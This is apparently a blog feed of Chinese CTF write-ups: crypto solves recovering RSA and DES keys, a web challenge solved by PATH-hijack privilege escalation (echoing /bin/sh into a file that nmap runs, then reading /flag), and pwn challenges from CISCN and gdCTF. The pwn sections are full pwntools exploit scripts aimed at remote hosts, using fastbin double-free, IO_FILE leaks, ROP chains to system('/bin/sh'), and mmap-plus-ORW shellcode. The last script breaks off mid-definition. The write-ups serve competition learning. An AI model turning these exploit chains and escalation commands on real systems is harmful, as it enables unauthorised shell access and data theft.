18976399709138358912615581289803736063685392526627126047585536571255137591890898469016131796862155245718632726865355864471577906314641282253655270136097246496157189183315479252842675388863506996293537386049856520375327248649829502157752917745660189131281987348802723603782945921331000190785525591621756168923822951821404353646825235167866284344617268886872941218738132870839917479807740404673373159559070563008075098345562213387428585134527952927397372161736924000067060148836364979179350873731455181407191524960955000331041112836325967730682314802564504793245212062165765383998948417925582958872582993455246869810367559513521188245827564742949660925007994864642588404989913088438650029238240908588039032304578884090105469536379896758734713314973495243747985470691862911913134723349279860545443973275726615548263752591810660223834517909123784767147753948727361870320431446223866316111276171603492135128216357176021812643706643763587976997347084988208779018873039456862231395447809853586521609100405013300467752808797446255256509955396709060833818059140619116092459497493686455825427088609805918612964163855925495410440760559642006382819680630706627333218589739634830096224810601690036163130895447446190737732854075739908518171940791
&quot;&quot;&quot;.strip().split()
arr = list(map(int, ss))
xx = []
for x in range(7):
    n = arr[2*x]
    e = arr[2*x + 1]
    xx.append(attack(n, e))
print(xx)
#
global_bits = 1024

from extend_mt19937_predictor import ExtendMT19937Predictor

for p, q, d in xx:
    print(hex(p &amp;amp; 0xffffffff), hex(q &amp;amp; 0xffffffff), hex(d &amp;amp; 0xffffffff))
    print(p.bit_length(), q.bit_length(), d.bit_length())

print(len(xx))
for xt in range(2 ** 7):
    try:
        predictor = ExtendMT19937Predictor()
        for i in range(7):
            if xt &amp;amp; (1 &amp;lt;&amp;lt; i):
                predictor.setrandbits(xx[i][0] &amp;gt;&amp;gt; 32, global_bits - 32)
                predictor.setrandbits(xx[i][1] &amp;gt;&amp;gt; 32, global_bits - 32)
            else:
                predictor.setrandbits(xx[i][1] &amp;gt;&amp;gt; 32, global_bits - 32)
                predictor.setrandbits(xx[i][0] &amp;gt;&amp;gt; 32, global_bits - 32)
            predictor.setrandbits(xx[i][2] &amp;gt;&amp;gt; 32, global_bits - 32 - 32)
        # d = predictor.predict_getrandbits(global_bits - 32)
        # print(d)
        break
    except ValueError:
        print(xt)
        del predictor

from gmpy2 import next_prime, invert as inverse_mod
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from random import getrandbits
from math import lcm
from sys import exit
def generate_prime(bits: int):
    p = (predictor.predict_getrandbits(bits - 32) &amp;lt;&amp;lt; 32)
    return next_prime(p)


def generate_private_key(bits: int):
    q, p = generate_prime(bits), generate_prime(bits)
    n, phi = p * q, lcm(p-1, q-1)
    print(p.bit_length(), q.bit_length())
    print(hex(p &amp;amp; 0xffffffff), hex(q &amp;amp; 0xffffffff))
    d = inverse_mod(0x10001, phi)
    privateKey = RSA.construct((int(n), int(0x10001), int(d), int(p), int(q)))
    return privateKey, p &amp;gt; q


privateKey, signal = generate_private_key(global_bits)
Cipher = PKCS1_v1_5.new(privateKey)
cc = b&quot;\x02\x81\xbe\x9e^\xdc2\xf6V~\x98 \x97\x125\xa2-\xe3gal\x96\x02\xba\xe8\xaaN*\xce\xe98\x8eAhSNz\x08;Vb\xe0\x9d\xe2\x15\xf6\x12\xd6\xe5&apos;a\xc0\rt\r+\xa4_\xaa\x19\xc4\x97&amp;gt;\xa1\r\x14\x18\xfe\xd4\xa8~d\xfe\x9d\x95&amp;gt;\x0f\x84\xfa/p\xfa\x91\x070\xd1\xa64\xb2N\x9a\xe9\x01\xe9\x91\xa58\x81\xb2\\H&amp;amp;B\xcc\xde\xe8|\x87\xed\x0e)\xd3\xde\x93f\xa5\x0e\xecv\x9c\xcea%\x85\x9e\xb8\x10\x9ea\xdfnME\x18i\xab,\x96{\xab\xf3i\xa9I\xc2\xbb\xac\x81\x12\x04\xf4J8N\xfbE\x0fp.P\x9b\xacrX\xc1Hk\xff-&amp;gt;\x9b\xd99\xd2L\xc2\x849*\xfa\xf3&amp;gt;\x8c&amp;amp;23\xceu\xb7\xf7\xa2\x81\x15\xacOX}\xd3t\xa6T\x1b7\xa9\xf6\x163\x96\xa1\xe1\xd7\xb3e\xccB\x9a\xee\x83B|\x92E&amp;gt;C\xfb\xd5\xc5\xe3#\xa514\xa0\x1b\x03\xbf\xf6\xb3\x1bK\xa2=\xaf3\x03w\x91\xdeU\xb51Y}%\x89\x00&quot;
print(Cipher.decrypt(cc, None))


&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;simple_des&lt;/h2&gt;
&lt;p&gt;爆破9位恢复L，之后逆推下面这个操作即可恢复L，R的初始，由于LR来自key其中的56位，所以只要知道key的56个bit即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in range(16):
    for j in range(ROTATIONS[i]):
        L.append(L.pop(0))
        R.append(R.pop(0))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from operator import add
from typing import List
from functools import reduce
from gmpy2 import *
from Crypto.Util.number import *

_IP = [57, 49, 41, 33, 25, 17, 9, 1,
       59, 51, 43, 35, 27, 19, 11, 3,
       61, 53, 45, 37, 29, 21, 13, 5,
       63, 55, 47, 39, 31, 23, 15, 7,
       56, 48, 40, 32, 24, 16, 8, 0,
       58, 50, 42, 34, 26, 18, 10, 2,
       60, 52, 44, 36, 28, 20, 12, 4,
       62, 54, 46, 38, 30, 22, 14, 6
       ]


def IP(plain: List[int]) -&amp;gt; List[int]:
    return [plain[x] for x in _IP]


__pc1 = [56, 48, 40, 32, 24, 16, 8,
         0, 57, 49, 41, 33, 25, 17,
         9, 1, 58, 50, 42, 34, 26,
         18, 10, 2, 59, 51, 43, 35,
         62, 54, 46, 38, 30, 22, 14,
         6, 61, 53, 45, 37, 29, 21,
         13, 5, 60, 52, 44, 36, 28,
         20, 12, 4, 27, 19, 11, 3
         ]

__pc2 = [
    13, 16, 10, 23, 0, 4,
    2, 27, 14, 5, 20, 9,
    22, 18, 11, 3, 25, 7,
    15, 6, 26, 19, 12, 1,
    40, 51, 30, 36, 46, 54,
    29, 39, 50, 44, 32, 47,
    43, 48, 38, 55, 33, 52,
    45, 41, 49, 35, 28, 31
]
ROTATIONS = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]


def PC_1(key: List[int]) -&amp;gt; List[int]:
    return [key[x] for x in __pc1]


def PC_2(key: List[int]) -&amp;gt; List[int]:
    return [key[x] for x in __pc2]


def get_sub_key(key: List[int]) -&amp;gt; List[List[int]]:
    key = PC_1(key)
    L, R = key[:28], key[28:]

    sub_keys = []

    for i in range(16):
        for j in range(ROTATIONS[i]):
            L.append(L.pop(0))
            R.append(R.pop(0))

        combined = L + R
        sub_key = PC_2(combined)
        sub_keys.append(sub_key)
    # print(&apos;LL=&apos;, L[:19])
    # print(&apos;Rr=&apos;, R)
    return sub_keys

def get_sub_key_attack(key: List[int]) -&amp;gt; List[List[int]]:
    L, R = key[:28], key[28:]

    sub_keys = []

    for i in range(16):
        for j in range(ROTATIONS[i]):
            L.append(L.pop(0))
            R.append(R.pop(0))

        combined = L + R
        sub_key = PC_2(combined)
        sub_keys.append(sub_key)
    # print(&apos;LL=&apos;, L[:19])
    # print(&apos;Rr=&apos;, R)
    return sub_keys

__ep = [31, 0, 1, 2, 3, 4,
        3, 4, 5, 6, 7, 8,
        7, 8, 9, 10, 11, 12,
        11, 12, 13, 14, 15, 16,
        15, 16, 17, 18, 19, 20,
        19, 20, 21, 22, 23, 24,
        23, 24, 25, 26, 27, 28,
        27, 28, 29, 30, 31, 0
        ]

__p = [15, 6, 19, 20, 28, 11, 27, 16,
       0, 14, 22, 25, 4, 17, 30, 9,
       1, 7, 23, 13, 31, 26, 2, 8,
       18, 12, 29, 5, 21, 10, 3, 24
       ]


def EP(data: List[int]) -&amp;gt; List[int]:
    return [data[x] for x in __ep]


def P(data: List[int]) -&amp;gt; List[int]:
    return [data[x] for x in __p]


__s_box = [

    [
        [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],
        [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],
        [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],
        [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]
    ],

    [
        [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10],
        [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5],
        [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15],
        [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]
    ],

    [
        [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8],
        [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1],
        [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7],
        [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]
    ],

    [
        [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15],
        [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9],
        [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4],
        [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]
    ],

    [
        [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9],
        [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6],
        [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14],
        [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]
    ],

    [
        [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11],
        [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8],
        [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6],
        [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]
    ],

    [
        [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1],
        [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6],
        [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2],
        [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]
    ],

    [
        [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],
        [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],
        [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],
        [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
    ]
]


def S_box(data: List[int]) -&amp;gt; List[int]:
    output = []
    for i in range(0, 48, 6):
        row = data[i] * 2 + data[i + 5]
        col = reduce(add, [data[i + j] * (2 ** (4 - j)) for j in range(1, 5)])
        output += [int(x) for x in format(__s_box[i // 6][row][col], &apos;04b&apos;)]
    return output


def encrypt(plain: List[int], sub_keys: List[List[int]]) -&amp;gt; List[int]:
    plain = IP(plain)
    L, R = plain[:32], plain[32:]

    for i in range(16):
        prev_L = L
        L = R
        expanded_R = EP(R)
        xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])]
        substituted = S_box(xor_result)
        permuted = P(substituted)

        R = [a ^ b for a, b in zip(permuted, prev_L)]

    cipher = R + L
    cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31,
                                  38, 6, 46, 14, 54, 22, 62, 30,
                                  37, 5, 45, 13, 53, 21, 61, 29,
                                  36, 4, 44, 12, 52, 20, 60, 28,
                                  35, 3, 43, 11, 51, 19, 59, 27,
                                  34, 2, 42, 10, 50, 18, 58, 26,
                                  33, 1, 41, 9, 49, 17, 57, 25,
                                  32, 0, 40, 8, 48, 16, 56, 24]]

    return cipher


def bitxor(plain1: List[int], plain2: List[int]) -&amp;gt; List[int]:
    return [int(i) for i in
            bin(int(&apos;&apos;.join(str(i) for i in plain1), 2) ^ int(&apos;&apos;.join(str(i) for i in plain2), 2))[2:].zfill(64)]


def add(x, y):
    return x + y

def decrypt(plain: List[int], sub_keys: List[List[int]]) -&amp;gt; List[int]:
    # plain = IP(plain)
    L, R = plain[:32], plain[32:]

    for i in range(16):
        prev_L = L
        L = R
        expanded_R = EP(R)
        xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])]
        substituted = S_box(xor_result)
        permuted = P(substituted)

        R = [a ^ b for a, b in zip(permuted, prev_L)]

    cipher = R + L
    # cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31,
    #                               38, 6, 46, 14, 54, 22, 62, 30,
    #                               37, 5, 45, 13, 53, 21, 61, 29,
    #                               36, 4, 44, 12, 52, 20, 60, 28,
    #                               35, 3, 43, 11, 51, 19, 59, 27,
    #                               34, 2, 42, 10, 50, 18, 58, 26,
    #                               33, 1, 41, 9, 49, 17, 57, 25,
    #                               32, 0, 40, 8, 48, 16, 56, 24]]

    return cipher

P0 = [39, 7, 47, 15, 55, 23, 63, 31,
                                  38, 6, 46, 14, 54, 22, 62, 30,
                                  37, 5, 45, 13, 53, 21, 61, 29,
                                  36, 4, 44, 12, 52, 20, 60, 28,
                                  35, 3, 43, 11, 51, 19, 59, 27,
                                  34, 2, 42, 10, 50, 18, 58, 26,
                                  33, 1, 41, 9, 49, 17, 57, 25,
                                  32, 0, 40, 8, 48, 16, 56, 24]
P0_inv = [0] * len(P0)
for i, b in enumerate(P0):
    P0_inv[b] = i

_IP_inv = [0] * len(_IP)
for i, b in enumerate(_IP):
    _IP_inv[b] = i

def P_set(c, box):
    return [c[_] for _ in box]

def bin2str(x: []):
    res = bytearray()
    for i in range(0, len(x), 8):
        res.append(int(&quot;&quot;.join(map(str, x[i:i+8])), 2))
    return res

# 爆破过程
# check = []
# for test in range(2 ** 9):
# # for test in range(1):
#     LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
#     RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]
#     LL += list(map(int, bin(test)[2:].ljust(9, &quot;0&quot;)))
#     sub_keys = []
#
#     t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]
#     for i in range(16):
#         combined = LL + RR
#         sub_key = PC_2(combined)
#         sub_keys.append(sub_key)
#         for j in range(ROTATIONS[::-1][i]):
#             LL.insert(0, LL.pop(-1))
#             RR.insert(0, RR.pop(-1))
#     # print(LL)
#     # print(RR)
#     # sub_keys = sub_keys[::-1]
#     # print(sub_keys)
#     ct = decrypt(P_set(t[:64], P0_inv), sub_keys)
#     print(test, bin2str(P_set(ct, _IP_inv)))
#     x = bin2str(P_set(ct, _IP_inv))
#     check.append((len(repr(x)), x, test))
# check.sort()
# print(check)
# (22, bytearray(b&apos;NepCTF{N&apos;), 503)

LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]
LL += list(map(int, bin(503)[2:].ljust(9, &quot;0&quot;)))
sub_keys = []

flag = b&quot;&quot;
t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]
for i in range(16):
    combined = LL + RR
    sub_key = PC_2(combined)
    sub_keys.append(sub_key)
    for j in range(ROTATIONS[::-1][i]):
        LL.insert(0, LL.pop(-1))
        RR.insert(0, RR.pop(-1))
ct = decrypt(P_set(t[:64], P0_inv), sub_keys)
raw = P_set(ct, _IP_inv)
x = bin2str(raw)
print(x)
flag += x

z = raw
keys_t = LL + RR
key = [0] * 64
for i, b in enumerate(__pc1):
    key[b] = keys_t[i]
print(key)
print(bin2str(key))
ct = decrypt(P_set(t[64:64*2], P0_inv), get_sub_key(bitxor(z, key))[::-1])
raw = P_set(ct, _IP_inv)
x = bin2str(raw)
print(x)
flag += x


z = raw
ct = decrypt(P_set(t[64*2:64*3], P0_inv), get_sub_key(bitxor(z, key))[::-1])
raw = P_set(ct, _IP_inv)
x = bin2str(raw)
print(x)
flag += x

print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;ez_java_checkin&lt;/h2&gt;
&lt;p&gt;简单的java反序列化漏洞，一把梭&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/4bfea74d624d582500046b3938b36a9.png&quot; alt=&quot;4bfea74d624d582500046b3938b36a9&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;独步天下-转生成为镜花水月中的王者&lt;/h2&gt;
&lt;p&gt;渗透签到，提示环境变量提权，一把梭&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;/bin/sh&quot;&amp;gt; /tmp/ports-alive
chmod 777 /tmp/ports-alive
export PATH=/tmp:$PATH
nmap -v
cat /flag
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[2022CISCN]华南赛区分区赛 部分Pwn wp</title><link>https://blog.csome.cc/p/2022CISCN-hn-wp/</link><guid isPermaLink="true">https://blog.csome.cc/p/2022CISCN-hn-wp/</guid><pubDate>Tue, 21 Jun 2022 16:15:02 GMT</pubDate><content:encoded>&lt;h1&gt;chats_store&lt;/h1&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-06_CISCN/pwn.zip&lt;/p&gt;
&lt;h2&gt;解题思路&lt;/h2&gt;
&lt;p&gt;堆题，libc版本为2.23没有tcache，观察free逻辑发现存在uaf和doublefree，由于没有edit和show故使用IO_FILE Attack泄露libc基址。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022CISCN-hn-wp/image-20220621162136685.png&quot; alt=&quot;image-20220621162136685&quot; /&gt;&lt;/p&gt;
&lt;p&gt;泄露成功后就是常规的fastbin attack打__malloc_hook，但是经过测试，one_gadget一个都打不通，所以，不能采用ogg的方法。想到rop方法，构造system(&quot;/bin/sh&quot;)，需要泄露栈地址故再次利用IO_FILE泄露environ中存的栈地址，之后构造偏移量将fastbin分配到栈上，最后写入ROP实现getshell&lt;/p&gt;
&lt;h2&gt;EXP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import time

# getIO = lambda: process([&apos;./ld-2.23.so&apos;, &apos;./chats_store&apos;], env={&apos;LD_PRELOAD&apos;:&apos;./libc-2.23.so&apos;})
getIO = lambda: remote(&apos;43.138.52.3&apos;, 59000)
context.log_level=&apos;debug&apos;
io = getIO()

def add(idx, size, content):
    io.sendlineafter(&apos;&amp;gt; &apos;, &apos;1&apos;)
    tmp = str(idx)
    tmp += (8 - len(tmp)) * &apos;\x00&apos;
    io.sendafter(&apos;chats No. &amp;gt; &apos;, tmp)
    io.sendlineafter(&apos;size&amp;gt; &apos;, str(size))
    io.sendafter(&apos;chats&amp;gt; &apos;, content)
    # time.sleep(0.5)

def free(idx):
    io.sendlineafter(&apos;&amp;gt; &apos;, &apos;2&apos;)
    io.sendlineafter(&apos;chats No. &amp;gt; &apos;, str(idx))

while 1:
    add(0, 0x28, &apos;aaaa&apos;)
    add(1, 0x68, &apos;aaaa&apos;)
    add(11, 0x68, &apos;aaaaa&apos;)
    add(12, 0x28, &apos;aaa&apos;)
    free(0)
    add(0, 0x28, &apos;a&apos;*0x28+&apos;\xe1&apos;)
    free(1)
    add(0, 0x68, &apos;\xdd\x15&apos;)

    add(20, 0x68, &apos;aaaa&apos;) # b
    add(21, 0x68, &apos;aaaa&apos;) # a
    add(22, 0x28, &apos;aaaa&apos;)
    free(21)
    free(20)
    free(21)

    add(21, 0x68, &apos;\x30&apos;)
    add(22, 0x68, &apos;aaaa&apos;)
    add(23, 0x68, &apos;aaaa&apos;)
    add(24, 0x68, &apos;aaaa&apos;)
    flag = 0xfbad1800
    try: 
        add(25, 0x68, &apos;\x00&apos;*0x33 + p64(flag) + p64(0)*3 +&apos;\x48&apos;)
        inp = io.recv(200, timeout=2)
        log.success(&apos;inp:&apos;+inp)
        break
        _IO_2_stdout_ = u64(inp)
        log.success(&apos;_IO_2_stdout_:&apos;+hex(_IO_2_stdout_))
        break
    except:
        io.close()
        io = getIO()

inp = io.recvuntil(&apos;\x7f&apos;).ljust(8, &apos;\x00&apos;)
_IO_2_stdout_ = u64(inp)
log.success(&apos;_IO_2_stdout_:&apos;+hex(_IO_2_stdout_))
libc_base = _IO_2_stdout_ - 0x3c56a3 
log.success(&apos;libc_base:&apos;+hex(libc_base))

stdout_addr = libc_base + 0x3c55dd 
environ = libc_base + 0x003C6F38  
add(20, 0x68, &apos;aaaa&apos;) # b
add(21, 0x68, &apos;aaaa&apos;) # a
add(22, 0x28, &apos;aaaa&apos;)
free(21)
free(20)
free(21)
add(21, 0x68, p64(stdout_addr))
add(22, 0x68, &apos;aaaa&apos;)
add(23, 0x68, &apos;aaaa&apos;)
add(24, 0x68,  &apos;\x00&apos;*0x33 + p64(flag) + p64(0)*3 +p64(environ) + p64(environ+0x10)*2)
stack_addr =  u64(io.recv(8))
log.success(&apos;stack_addr:&apos;+hex(stack_addr))




# add(32, 0x68, &apos;aaaa&apos;)

target = stack_addr - 0x163 - 8  
add(20, 0x68, &apos;aaaa&apos;) # b
add(21, 0x68, &apos;aaaa&apos;) # a
add(22, 0x28, &apos;aaaa&apos;)
free(21)
free(20)
free(21)
add(21, 0x68, p64(target))
add(22, 0x68, &apos;aaaa&apos;)
add(23, 0x68, &apos;aaaa&apos;)

libc = ELF(&apos;./libc-2.23.so&apos;)
pop_rdi = 0x0000000000021112 + libc_base
sys_addr = libc.sym[&apos;system&apos;] + libc_base
binsh = 0x0018CE57 + libc_base

ropp = p64(pop_rdi) + p64(binsh) + p64(sys_addr)

# gdb.attach(io)

add(24, 0x68, &apos;a&apos; * 0x43 + ropp)

# add(20, 0x68, &apos;aaaa&apos;) # b
# add(21, 0x68, &apos;aaaa&apos;) # a
# add(22, 0x28, &apos;aaaa&apos;)
# free(21)
# free(20)
# free(21)
# add(21, 0x68, p64(stdout_addr))
# add(22, 0x68, &apos;aaaa&apos;)
# add(23, 0x68, &apos;aaaa&apos;)
# add(24, 0x68,  &apos;\x00&apos;*0x33 + p64(flag) + p64(0)*3 +p64(target) + p64(target+0x100)*2)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;getFlag&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;2022CISCN-hn-wp/image-20220621162605176.png&quot; alt=&quot;image-20220621162605176&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>[2022gdCTF]jmp_rsp midpwn easyheap WP</title><link>https://blog.csome.cc/p/2022gdCTF-pwn/</link><guid isPermaLink="true">https://blog.csome.cc/p/2022gdCTF-pwn/</guid><pubDate>Mon, 23 May 2022 08:51:26 GMT</pubDate><content:encoded>&lt;h1&gt;jmp_rsp&lt;/h1&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/jmp_rsp.zip&lt;/p&gt;
&lt;h2&gt;解题思路&lt;/h2&gt;
&lt;p&gt;直接一把梭，写入ROP，在bss上写shellcode即可&lt;/p&gt;
&lt;h2&gt;EXP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import time

context.log_level=&apos;debug&apos;

# io = process(&apos;./jmp_rsp&apos;)
io = remote(&apos;47.106.122.102&apos;, 44071)

elf = ELF(&apos;./jmp_rsp&apos;)

context.clear(arch=&apos;x86_64&apos;)
shell_code = asm(shellcraft.sh())

pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410173
pop_rdx = 0x0000000000449395
vuln_buf = 0x00000006B9144
# gdb.attach(io)

p = &apos;a&apos; * 0x88 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(vuln_buf) + p64(pop_rdx) + p64(0x50) + p64(elf.sym[&apos;read&apos;]) + p64(vuln_buf)
io.sendline(p)
time.sleep(2)
io.sendline(shell_code)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;midpwn&lt;/h1&gt;
&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/midpwn.zip&lt;/p&gt;
&lt;h2&gt;解题思路&lt;/h2&gt;
&lt;p&gt;逆向分析发现，开了沙箱，需要利用orw进行文件内容泄露&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022gdCTF-pwn/image-20220523085903003.png&quot; alt=&quot;image-20220523085903003&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过逆向分析发现edit函数存在off by one的漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2022gdCTF-pwn/image-20220523090433714.png&quot; alt=&quot;image-20220523090433714&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后的思路就是，通过off by one修改下一个堆块的size位置，构造堆块堆叠，接下来主要控制tacache bin的fd指针构造任意位置分配读写。&lt;/p&gt;
&lt;p&gt;能够实现任意位置读写之后，构造堆块进入unsortedbin，泄露main_arena的地址，从而泄露libc_base，通过偏移量算出environ的地址（libc地址中存放着environ变量，中存放着栈地址），再次构造堆块，分配到environ上面，泄露栈地址，最后，malloc执行的位置是在add函数，通过计算偏移修改add函数返回地址，写入ROP。&lt;/p&gt;
&lt;p&gt;有关ROP的构造，实验发现mmap只需要前4个参数为addr、size、7、34即可分配出一个可执行的目标地址。&lt;/p&gt;
&lt;p&gt;故构造ROP，分配一个0x23330000的地址作为写入shellcode的地址，最后调用&lt;code&gt;read(0,0x23330000,0x50)&lt;/code&gt;写入orw&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def func(a, b, c, d):
    pp = p64(pop_rdi) + p64(a)
    pp += p64(pop_rsi) + p64(b)
    pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0)
    return pp
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym[&apos;mmap&apos;])
p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym[&apos;read&apos;]) 
p += p64(0x23330000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有关ORW的构造&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;context(arch=&apos;amd64&apos;)
sc = asm(shellcraft.open(&apos;./flag&apos;))
sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))
sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;完整EXP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import time

context.log_level=&apos;debug&apos;
# getIO = lambda : process([&apos;./ld-2.31.so&apos;, &apos;./orz&apos;], env={&apos;LD_PRELOAD&apos;: &apos;./libc-2.31.so&apos;})
getIO = lambda : remote(&apos;120.79.220.233&apos;, 45715)
sc = &apos;&apos;
io = getIO()

def add(size, content): 
